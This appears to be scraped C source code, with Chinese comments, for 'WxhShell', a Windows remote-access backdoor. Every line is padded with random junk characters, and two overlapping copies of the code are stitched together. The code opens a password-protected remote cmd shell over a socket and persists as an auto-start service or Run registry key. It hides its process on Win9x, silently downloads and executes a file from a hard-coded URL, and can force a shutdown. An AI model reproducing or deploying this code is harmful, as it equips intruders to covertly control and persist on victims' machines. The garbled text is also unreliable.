    } ? !oVf>  
    break; yv!''F:9F  
    } TzevC$m;z  
  // 关机 X5L(_0?F1  
  case 'd': { hdsgOu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8zCGMhd  
    if(Boot(SHUTDOWN)) yNLa3mW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X>6 ~{3  
    else { U<g UX07  
    closesocket(wsh); ZyS;+"  
    ExitThread(0); (Qx-KRH  
    } VeN&rjc  
    break; T4HoSei  
    } _M"$5 T  
  // 获取shell 2#n$x*CY  
  case 's': { ZHiICh|et%  
    CmdShell(wsh); uhw5O9  
    closesocket(wsh); +/@ZnE9s  
    ExitThread(0); RK~FT/  
    break; shDt&_n  
  } HjUw[Yz+6  
  // 退出 I*vj26qvg  
  case 'x': { +9Hk+.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =|6^)lt$  
    CloseIt(wsh); Z+``/Q]>+  
    break; FQ9csUjpB  
    } NqQ(X'W7  
  // 离开 Hz3 S^o7  
  case 'q': { $@u^Jt, ?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -aH?7HV}  
    closesocket(wsh); XY+aunLf  
    WSACleanup(); G"U>fwFuK  
    exit(1); 2W"cTm  
    break; AG$-U2ap  
        } a_pCjG89  
  } llZ"uTK\M  
  } /ie3H,2  
LKqog%,c  
  // 提示信息 'a-5 U TT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *nsnX/e(-  
} 9$Pl'>5  
  } !aW*dD61  
%8} ksl07  
  return; Z z; <P  
} {Jw<<<G  
W &0@&U  
// shell模块句柄 XJxs4a1[t  
int CmdShell(SOCKET sock) G%p!os\>  
{ :WfB!4%!  
STARTUPINFO si; B 1d%#  
ZeroMemory(&si,sizeof(si)); }d~FTre  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >D p6@%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^zWO[$n}tP  
PROCESS_INFORMATION ProcessInfo; }%>$}4 ,  
char cmdline[]="cmd"; IjB*myN.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z;~E+dXC  
  return 0; B'gk/^6$eg  
} $MJDB  
[^(R1K  
// 自身启动模式 >e$^# \D  
int StartFromService(void) h4B#T'b  
{ TNFm7}=  
typedef struct L$u&~"z-  
{ qT<qu(V:  
  DWORD ExitStatus; rCSG@D.  
  DWORD PebBaseAddress; [-Dgo1}Qr  
  DWORD AffinityMask; eVCkPv *  
  DWORD BasePriority; ?;KJ (@Va  
  ULONG UniqueProcessId; 3Ibt'$dK  
  ULONG InheritedFromUniqueProcessId; _[OEE<(  
}   PROCESS_BASIC_INFORMATION; ZvnZ}t >?  
Znh uIA AG  
PROCNTQSIP NtQueryInformationProcess; b1,T!xL  
7Yw\%}UL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !DX/^b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $Z7|t  
6m{$rBR  
  HANDLE             hProcess; ux 79"5qb  
  PROCESS_BASIC_INFORMATION pbi; L%s4snE  
D 917[ <$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pXT$Y8M  
  if(NULL == hInst ) return 0; iJaNP%N  
%}]4Nsde  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i8[Y{a *  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -Ib+/'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  +SA<0l  
w6In{uO-Z  
  if (!NtQueryInformationProcess) return 0; d$pf[DJQo  
K<7T}XzU$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8.Own=G?  
  if(!hProcess) return 0; :V-}Sde  
}zS&H-8K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6 9I.*[  
E5[]eg~w%{  
  CloseHandle(hProcess); )|^<woli,  
>yT@?!/Q>'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `E0.PV  
if(hProcess==NULL) return 0; AGJ=de.  
8.%a"sxr  
HMODULE hMod; OD/P*CQ_  
char procName[255]; HxqV[|}0u  
unsigned long cbNeeded; 7F9g:r/^  
$?A Uk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dZiWVa  
u*-<5& X  
  CloseHandle(hProcess); ;!Z7-OZX  
o` 1V  
if(strstr(procName,"services")) return 1; // 以服务启动 s)DNLx  
m6Cd^'J9^  
  return 0; // 注册表启动 E~@HC5.M  
} 89- 8v^ Pq  
~CdseSo 9  
// 主模块 ?eVuz x  
int StartWxhshell(LPSTR lpCmdLine) k -DB~-L  
{ &Cpxo9-  
  SOCKET wsl; Y./}zCT  
BOOL val=TRUE; yb.|7U?/x  
  int port=0; t?H;iBrpxd  
  struct sockaddr_in door; nTy,Jml  
Qbt>}?-  
  if(wscfg.ws_autoins) Install(); ~Ow23N  
GH+FZ (F  
port=atoi(lpCmdLine); ;s B:s9M  
U W)&Eky  
if(port<=0) port=wscfg.ws_port; FjLv*K[#d  
. N} }cJq  
  WSADATA data; {f-/,g~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; % m5^p  
jc~*#\N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K2o0L5Lke  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -[7,ph  
  door.sin_family = AF_INET; #.L0]Uqcp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3) Awj++  
  door.sin_port = htons(port); iXS-EB/  
[tK:y[nk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6V6g{6W,/  
closesocket(wsl); 83,1d*`  
return 1; c^)E:J/  
} qkG;YGio  
.,K?\WZ  
  if(listen(wsl,2) == INVALID_SOCKET) { ~0r.3KTl"Y  
closesocket(wsl); KY34 'Di  
return 1; Qufv@.'AY  
} Y {|~A  
  Wxhshell(wsl); -j=&J8Za  
  WSACleanup(); $`dNl#G,  
/(pD^D  
return 0; IoHkcP[H  
}%d-U;Tt2  
} Y~SlipY_  
Rpd/9x.)&  
// 以NT服务方式启动 X*yp=qI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <RVtLTd/  
{ +rpd0s49  
DWORD   status = 0; (tLQX~Ur  
  DWORD   specificError = 0xfffffff; [qMO7enu#  
8=o5;]Cg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [QN7+#K,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8*~:gZ7:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]S aH/$  
  serviceStatus.dwWin32ExitCode     = 0; pV|?dQ  
  serviceStatus.dwServiceSpecificExitCode = 0; ?BvI/H5d  
  serviceStatus.dwCheckPoint       = 0; e^_@^(||!6  
  serviceStatus.dwWaitHint       = 0; y-q?pqt  
(BQ3M-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s /q5o@b{  
  if (hServiceStatusHandle==0) return; TdIFZ[<7  
v oS"X  
status = GetLastError(); 4S EC4yO  
  if (status!=NO_ERROR) GaqG 8% .  
{ n)!_HNc9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (E(:F[.S  
    serviceStatus.dwCheckPoint       = 0; j/mp.'P1k  
    serviceStatus.dwWaitHint       = 0; +Q]'kJ<s  
    serviceStatus.dwWin32ExitCode     = status; ugPI1'f  
    serviceStatus.dwServiceSpecificExitCode = specificError; +Qvgpx>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &b")`p&K  
    return; @,`=~_J  
  } n}'.6  
]hVXFHrR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LA%al @  
  serviceStatus.dwCheckPoint       = 0; T`{MQ:s  
  serviceStatus.dwWaitHint       = 0; I>o; %}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |(v=1#i  
} v4~Xv5|w^F  
0F'UFn>{  
// 处理NT服务事件,比如:启动、停止 >$52B9ie  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !Lug5U}  
{ QLU; .&  
switch(fdwControl) !Jn w_)  
{ Zw\V}uXI?  
case SERVICE_CONTROL_STOP: 2Wf qgR[3  
  serviceStatus.dwWin32ExitCode = 0; v+bjC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I/V#[KC  
  serviceStatus.dwCheckPoint   = 0; }V,M0b>  
  serviceStatus.dwWaitHint     = 0; HMd)64(  
  { cP=mJ1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wSF#;lqd  
  } j6(IF5MqP  
  return; 0$ac1;7  
case SERVICE_CONTROL_PAUSE: lj*913aFh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y[?Wt/O;  
  break; arL&^]JnZ,  
case SERVICE_CONTROL_CONTINUE: G6VHl:e7z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8%f! X51  
  break; U(LR('-h  
case SERVICE_CONTROL_INTERROGATE: |L{dQ)-'l  
  break; !Y(qpC:$  
}; ;]x5;b9`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6YGr"Kj &  
} gF5EtdN?|  
V46[whL%r  
// 标准应用程序主函数 !sQ8,l0h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EZRZ)h  
{ "FvlZRfXj  
BF|FW  
// 获取操作系统版本   NX_S  
OsIsNt=GetOsVer(); (k.7q~:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H,` XCG  
S*s9 ?  
  // 从命令行安装 :E`l(sI7J}  
  if(strpbrk(lpCmdLine,"iI")) Install(); %k)I =|  
"0)G|pZI  
  // 下载执行文件 &uW.V+3  
if(wscfg.ws_downexe) { ^:ngHue8~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EQO7:vb  
  WinExec(wscfg.ws_filenam,SW_HIDE); Utp\}0GZY  
} (1]@ fCd +  
%y+j~]^:  
if(!OsIsNt) { --)[>6)I  
// 如果时win9x,隐藏进程并且设置为注册表启动  +@7R,8  
HideProc(); EA#!h'-s  
StartWxhshell(lpCmdLine); &r!>2$B\  
} (oEA)yc|  
else (9|K}IM:  
  if(StartFromService()) ^IkMRlJh%  
  // 以服务方式启动 kO4~N-&  
  StartServiceCtrlDispatcher(DispatchTable); ?=rh=#  
else YWFHiB7x  
  // 普通方式启动 7z&u92dJI  
  StartWxhshell(lpCmdLine); `"Pd$jW  
"ZW*O{  
return 0; )\G#[Pc7  
} t]%R4ymV  
HX*U2<^  
3$;v# P$%N  
hJN A%  
=========================================== ohk =7d.'  
f` J"A:  
-.{7;6:(k  
,CF~UX% bU  
^KR(p!%  
p?nVPTh  
" u\?u}t v  
75i)$}_1B  
#include <stdio.h> bNgcZ V.  
#include <string.h> 9z}kkYk  
#include <windows.h>  ond/e&1  
#include <winsock2.h> iJeT+}  
#include <winsvc.h> }clNXtN  
#include <urlmon.h> 5]+eLKXB  
&>{L"{  
#pragma comment (lib, "Ws2_32.lib") | 'G$}]H  
#pragma comment (lib, "urlmon.lib") v}@ 6"\  
2&#iHv  
#define MAX_USER   100 // 最大客户端连接数 30"G%DFd  
#define BUF_SOCK   200 // sock buffer + P.Ir  
#define KEY_BUFF   255 // 输入 buffer ;ecF~-oku  
ElxbHQj6  
#define REBOOT     0   // 重启 c2"OpI  
#define SHUTDOWN   1   // 关机 YN[D^;}  
s]OXB {M  
#define DEF_PORT   5000 // 监听端口 0@;E8^pa  
IRB;Q(Z   
#define REG_LEN     16   // 注册表键长度 `0N/ /Q  
#define SVC_LEN     80   // NT服务名长度 \g/E4U .+  
:;QLoZh^  
// 从dll定义API [MG:Ym).2`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  >TgO|mq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P) #rvTDRw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X3vrD{uNU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  .~']gih#  
2e &Zs%u  
// wxhshell配置信息 mi?Fy0\  
struct WSCFG { s!Vtw p9  
  int ws_port;         // 监听端口 V,}cDT>  
  char ws_passstr[REG_LEN]; // 口令 i8F~$6C  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1'U-n{fD  
  char ws_regname[REG_LEN]; // 注册表键名 :+n7oOV  
  char ws_svcname[REG_LEN]; // 服务名 5Jp>2d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M Cz3RZK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oT w1w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O"GzeEY7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ZN^Q!v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Lm/^ 8V+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h/ic-iH(>  
%' Fc%3  
}; :tMWy m  
;Lx5r=<Hx  
// default Wxhshell configuration ;F5%X\ t-  
struct WSCFG wscfg={DEF_PORT, 6}0#({s:R  
    "xuhuanlingzhe", WqAP'x 1  
    1, 6O?O6Ub  
    "Wxhshell", @M-bE=  
    "Wxhshell", }|;n[+}  
            "WxhShell Service", }T6jQ:?@  
    "Wrsky Windows CmdShell Service", ^`$KN0PY  
    "Please Input Your Password: ", $: -Ptm@  
  1, tW +I?  
  "http://www.wrsky.com/wxhshell.exe", X$<?:f-  
  "Wxhshell.exe" R?k1)n   
    }; &o(? }W  
%3cBh v[q4  
// 消息定义模块 gi8kYHldH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <W1!n$V ]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hH~Z hB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7)YU ;  
char *msg_ws_ext="\n\rExit."; EC7o 3LoND  
char *msg_ws_end="\n\rQuit."; \y=,=;yv  
char *msg_ws_boot="\n\rReboot..."; e_e|t>nQ  
char *msg_ws_poff="\n\rShutdown..."; ~$5[#\5%G  
char *msg_ws_down="\n\rSave to "; U i;o/Z3  
6Dch+*4*@  
char *msg_ws_err="\n\rErr!"; _h#G-  
char *msg_ws_ok="\n\rOK!"; 'RhMzPmY>  
n*V^Q f  
char ExeFile[MAX_PATH]; 7@ZL(G  
int nUser = 0; /3fo=7G6  
HANDLE handles[MAX_USER]; k0,~wn\#h  
int OsIsNt; !Bd2$y.  
^#%[  
SERVICE_STATUS       serviceStatus; +r '  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \J6T:jeS,  
X~x]VKr/  
// 函数声明 t C&Xm}:  
int Install(void); _ ge3R3  
int Uninstall(void); phTZUm i  
int DownloadFile(char *sURL, SOCKET wsh); G[jCmkK  
int Boot(int flag); hFKYRZtP.8  
void HideProc(void); $`i&\O2*  
int GetOsVer(void); @$aCUJ/mE  
int Wxhshell(SOCKET wsl); 6w54+n  
void TalkWithClient(void *cs); ,]+6kf5  
int CmdShell(SOCKET sock); y8sI @y6  
int StartFromService(void); E~24b0<7  
int StartWxhshell(LPSTR lpCmdLine); mu*wX'.'  
jjs-[g'}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "<kmiK/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xv /w %  
TJCoID7a8  
// 数据结构和表定义 -7lJ  
SERVICE_TABLE_ENTRY DispatchTable[] = dJ$}]   
{ lA{Sr0f TP  
{wscfg.ws_svcname, NTServiceMain}, Tf+B<B:  
{NULL, NULL} &iuc4"'  
}; ,Ti#g8j  
.NabK  
// 自我安装 U7Ps2~x3  
int Install(void) \KG{ 11  
{ z19y>j  
  char svExeFile[MAX_PATH]; +* &!u=%G  
  HKEY key; Ly3^zF W  
  strcpy(svExeFile,ExeFile); |*!I(wm2i  
z\v\T|C  
// 如果是win9x系统,修改注册表设为自启动 5}1cNp6@  
if(!OsIsNt) { rZ^DiFR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >%xJ e'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RS$e^_W  
  RegCloseKey(key); KktQA*G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H4)){\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "g0L n5&  
  RegCloseKey(key); w+Ag!O}.L  
  return 0; pbu8Ib8z  
    } Z_S~#[\7^]  
  } >RRb8=[J  
} Rj-<tR{  
else { nF05p2Mh  
{>Zc#U'  
// 如果是NT以上系统,安装为系统服务 ]zu" x9-`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -\LB>\;qn  
if (schSCManager!=0) ~v2_vEu}JX  
{ D=e&"V a  
  SC_HANDLE schService = CreateService TfMuQi'>  
  ( op[5]tjL  
  schSCManager, KyDQ<Dq&  
  wscfg.ws_svcname, =6/0=a[  
  wscfg.ws_svcdisp, r..\(r  
  SERVICE_ALL_ACCESS, 7j5l?K-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N[czraFBD}  
  SERVICE_AUTO_START, c 8#A^q}  
  SERVICE_ERROR_NORMAL, W0X?"Ms|a  
  svExeFile, 5`0tG;  
  NULL, ]^"*Fdn  
  NULL, i9_ZK/*  
  NULL, :o=[Zp~B4d  
  NULL, C";F's)  
  NULL Qu!Lc:oM?  
  ); nKch _Jb  
  if (schService!=0) :v=Yo  
  { <kt,aMw[*  
  CloseServiceHandle(schService); #R@{Bu=C  
  CloseServiceHandle(schSCManager); ? %F*{3IP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (`xhh  
  strcat(svExeFile,wscfg.ws_svcname); ?> }bg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2\W[ ItxL0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]V?\Qv/.=  
  RegCloseKey(key); ](:aDHa  
  return 0; q*,];j/>k  
    } YcT!`B   
  } &ciU`//`  
  CloseServiceHandle(schSCManager); ]k5l]JB  
} /wVrr%SN  
} ?$v#;n?@I  
h`,dg%J*B  
return 1; [<7Hy,xr_  
} cOq^}Ohan  
_da>=^hFJ  
// 自我卸载 Kr!8H/Z  
int Uninstall(void) Xh;Pbm|K  
{ t(}\D]mj  
  HKEY key; k?KKb /&b  
#O* ytZ  
if(!OsIsNt) { 3w#kvtDVm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )k{zRq:d  
  RegDeleteValue(key,wscfg.ws_regname); S8^W)XgC;  
  RegCloseKey(key); D^$Nn*i;U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lt[{u$  
  RegDeleteValue(key,wscfg.ws_regname); " 8>*O;xk  
  RegCloseKey(key); Ns?y) G>:  
  return 0; H"6Sj-<=  
  } w-pdpbHV  
} ]G#og)z4  
} t?iCq1  
else { v=$v*W  
]z;%%'gW6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p=V (_  
if (schSCManager!=0) vE^Hk!^  
{ L]I)E` s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5v<BB`XWp  
  if (schService!=0) _0<qS{RW  
  { XOAZ  
  if(DeleteService(schService)!=0) { .A//Q|ot!  
  CloseServiceHandle(schService); <:fjWy  
  CloseServiceHandle(schSCManager); :Em[> XA  
  return 0; [RTB|0Q  
  } AtGk _tpVZ  
  CloseServiceHandle(schService); JL=MlZ  
  } k.NgE/;3  
  CloseServiceHandle(schSCManager); J*IC&jH:  
} VnAJOR7lrx  
} tT>~;l%'  
8&\<p7}=h  
return 1; l1 fP@|  
} `D6Bw=7  
p(fYpD  
// 从指定url下载文件 |f# ~#Y2v  
int DownloadFile(char *sURL, SOCKET wsh) OB FG!.)  
{ VQI  
  HRESULT hr; s~W:N .}*  
char seps[]= "/"; l_Mi'}j  
char *token; ' !>t( Sa  
char *file; 21_>|EKp  
char myURL[MAX_PATH]; Wt*&_+ae  
char myFILE[MAX_PATH]; D7T(B=S6  
bX23F?  
strcpy(myURL,sURL); \#Ez["mD  
  token=strtok(myURL,seps); sS7r)HV&GI  
  while(token!=NULL) VC,wQb1J/  
  { nSdta'6  
    file=token; x>THyY[sq  
  token=strtok(NULL,seps); SRuNt3wW6  
  }  BR;f!  
OsAH!e  
GetCurrentDirectory(MAX_PATH,myFILE); 1A^~gYr  
strcat(myFILE, "\\"); |}P4Gr}6  
strcat(myFILE, file); `'H"|WsT  
  send(wsh,myFILE,strlen(myFILE),0); {B8W>>E  
send(wsh,"...",3,0); z-<U5-'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B/hL  
  if(hr==S_OK) N,6(|,m  
return 0; $\h\, N$y  
else zcnp?%  
return 1; ^W+q!pYM9+  
t=J WD2  
} 8T6.Zhv  
bR"hl? &c  
// 系统电源模块 p}_n :a  
int Boot(int flag) ~Q}JC3f>  
{ rw/WD(  
  HANDLE hToken; x2/L`q"M?=  
  TOKEN_PRIVILEGES tkp; ?4vf 2n@  
d#6'dKV$  
  if(OsIsNt) { UT!gAU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8:E)GhX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .cJWYMC  
    tkp.PrivilegeCount = 1; MdM^!sk&`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |d =1|C%,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o\6A]T=R  
if(flag==REBOOT) { f.SV-{O_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x@/ N9*  
  return 0; h.+{cOA;n  
} No#1Ikw  
else { ,5J-C!C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t ' _Au8  
  return 0; p w(eWP  
} r6k0=6i  
  } HF>Gf2- C  
  else { =>Ss:SGjT  
if(flag==REBOOT) { Jv(9w[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H=b54.J8&  
  return 0; e }>8rnR{  
} [ aC7  
else { 8G@Ie  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?\[2Po]n  
  return 0; #'m&<g,  
} } m5AO4:  
} v%N/mL+5L  
aD)XxXwozm  
return 1; lYEMrr!KQw  
} M| r6"~i  
el GP2x#:  
// win9x进程隐藏模块 g_'F(An  
void HideProc(void) r,F~Vwa}  
{ yM}b  
R(_UR)G0 @  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <Th) &  
  if ( hKernel != NULL ) {v{qPYNyh  
  { "f/91gIzm'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  }NX9"}/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P5 f p!YF  
    FreeLibrary(hKernel); ?M?S+@(  
  } "A\.`*6  
Q(Q .(  
return; K6"#&0  
} ::bK{yZm   
fNjxdG{a  
// 获取操作系统版本 =fk+"!-i%"  
int GetOsVer(void) %@JNX}Y'  
{ +|6 '7Z(9  
  OSVERSIONINFO winfo; F-K=Ot j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F~j U;L  
  GetVersionEx(&winfo); /O@'XWW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !J<}=G5  
  return 1; \Y;LbB8D  
  else ,=o)R,[  
  return 0; P=v 0|Y*q|  
} L%4[,Rsw  
P%HvL4R  
// 客户端句柄模块 o&M2POI~q  
int Wxhshell(SOCKET wsl) 4?Mb>\n%<^  
{ w D|p'N  
  SOCKET wsh; pbg[\UJyd  
  struct sockaddr_in client; :9`'R0=i^  
  DWORD myID; llG^+*Y8t  
.-Y3oWV  
  while(nUser<MAX_USER) S<), ,(  
{ FtBYPSGz  
  int nSize=sizeof(client); "{a-I=s\C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Vy*&po[   
  if(wsh==INVALID_SOCKET) return 1; X; $g7A  
0}'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <?|v-(E  
if(handles[nUser]==0) -"*UICd  
  closesocket(wsh); YbS$D  
else r0 %WGMk2  
  nUser++; A4!IbJD,0  
  } nsO!   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~3p :jEM.[  
r8PXdNg  
  return 0; ;uw`6 KJ  
} wk @-O}W  
~~J xw ]  
// 关闭 socket &+t! LM  
void CloseIt(SOCKET wsh) w.s-T.5.j  
{ ~pM\]OC  
closesocket(wsh); _"BYnPq@wb  
nUser--; {O\>"2}m'f  
ExitThread(0); ?,Z[)5 ZN  
} -mD<8v[F  
f5)4H  
// 客户端请求句柄 cW+6Emh  
void TalkWithClient(void *cs) ZM)Y Rdh  
{ #is1y3yh  
$|0_[~0-n  
  SOCKET wsh=(SOCKET)cs; ;^QG>OP$  
  char pwd[SVC_LEN]; j1{ @?  
  char cmd[KEY_BUFF]; z\iz6-\&y  
char chr[1]; Z+jgFl 4  
int i,j; [Yt!uhww  
?$ rSbw  
  while (nUser < MAX_USER) { w-~u[c  
z'cK,psq(  
if(wscfg.ws_passstr) { \SB~rz"A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p7.j>w1F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pz'l9Gp;@  
  //ZeroMemory(pwd,KEY_BUFF); \etuIFQ#U  
      i=0; hD OEJ  
  while(i<SVC_LEN) { I%dFVt@  
S;0,UgB1  
  // 设置超时 Q)"L8v v  
  fd_set FdRead; e;LJdd  
  struct timeval TimeOut; !'-K>.B  
  FD_ZERO(&FdRead); NZUQ R`5  
  FD_SET(wsh,&FdRead); S<RJ46  
  TimeOut.tv_sec=8; c;M7[y&  
  TimeOut.tv_usec=0; {+Rf?'JZH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YS$?Wz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R-xWZRl>  
O0`k6$=6r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o+U]=q*|)$  
  pwd=chr[0]; 1PwqW g-\\  
  if(chr[0]==0xd || chr[0]==0xa) { ]<3$Sx_{y  
  pwd=0; Q/e$Ttt4J  
  break; OKDBzl  
  } Vq7L:,N9  
  i++; &r0b~RwUv  
    } -8- BVU  
V wj^h  
  // 如果是非法用户,关闭 socket Qg dHIMY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YHoj^=/b  
} g[P.lpi{U  
k M/cD`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L0j&p[(r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GyE-fB4C  
yHvF"4]  
while(1) { 6>I{Ik@>  
aOWE\I c8  
  ZeroMemory(cmd,KEY_BUFF); ! E\xn^  
 ;d"F'd  
      // 自动支持客户端 telnet标准   q%HT)^F9oO  
  j=0; &p\fdR4e  
  while(j<KEY_BUFF) { /mELnJ^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yFfa/d  
  cmd[j]=chr[0]; 9Q 4m9}  
  if(chr[0]==0xa || chr[0]==0xd) { zE"ME*ou  
  cmd[j]=0; 76i)m!  
  break; Nr.maucny  
  } b_Us%{  
  j++; CTu#KJ?j  
    } I`%\ "bF@  
A aLj.HR  
  // 下载文件 "^A4!.  
  if(strstr(cmd,"http://")) { fJ!i%</V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d8 1u  
  if(DownloadFile(cmd,wsh)) x"kc:F  
